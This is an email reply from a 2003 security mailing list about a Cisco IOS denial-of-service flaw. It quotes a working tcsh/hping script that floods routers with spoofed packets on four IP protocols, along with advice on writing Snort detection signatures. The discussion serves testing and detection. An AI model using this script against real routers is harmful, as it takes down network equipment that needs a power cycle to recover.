I think this is what you're looking for. <snip> Subject: RE: [Snort-users] RE: [Snort-sigs] Suggested Sig for Cisco DOS Vulnerability Here's a simple script I wrote that you can use to generate an attack: > cat exploit.sh #!/bin/tcsh -f if ($1 == "" || $2 == "") then echo "usage: $0 <router hostname|address> <ttl>" exit endif foreach protocol (53 55 77 103) /usr/local/sbin/hping $1 --rawip --rand-source --ttl $2 --ipproto $protocol --count 19 --interval u250 --data 26 end As you can see, this script iterates over the various protocols and sends 19 packets each for a total of 76 (just enough to fill up the input queue on vulnerable routers). Before upgrading my routers, I confirmed that this attack works. I then tested to see if sending 76 packets of a single protocol was enough to hose the interface.. it was. Maybe I mis-read the original advisory, but it seemed to me that Cisco suggested all 4 were necessary. Therefore, be careful when creating your signatures.. If you don't use any of the above protocols (SWIPE, IP Mobility, Sun ND, PIM) it might make sense to have rules that log/alert on all of them. Don't make the rules too dependent on the payload either; in several packet captures I've seen, the payload is significantly larger than the 26 bytes necessary to exploit IOS. -- Patrick Donahue Network/Systems Administrator ACMI Corporation </snip> ----- Original Message ----- From: "Curt Purdy" <purdyat_private> To: <rnewsat_private>; <incidentsat_private> Sent: Sunday, July 20, 2003 7:58 PM Subject: RE: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover > Could we have an example of an hping command to invoke this.
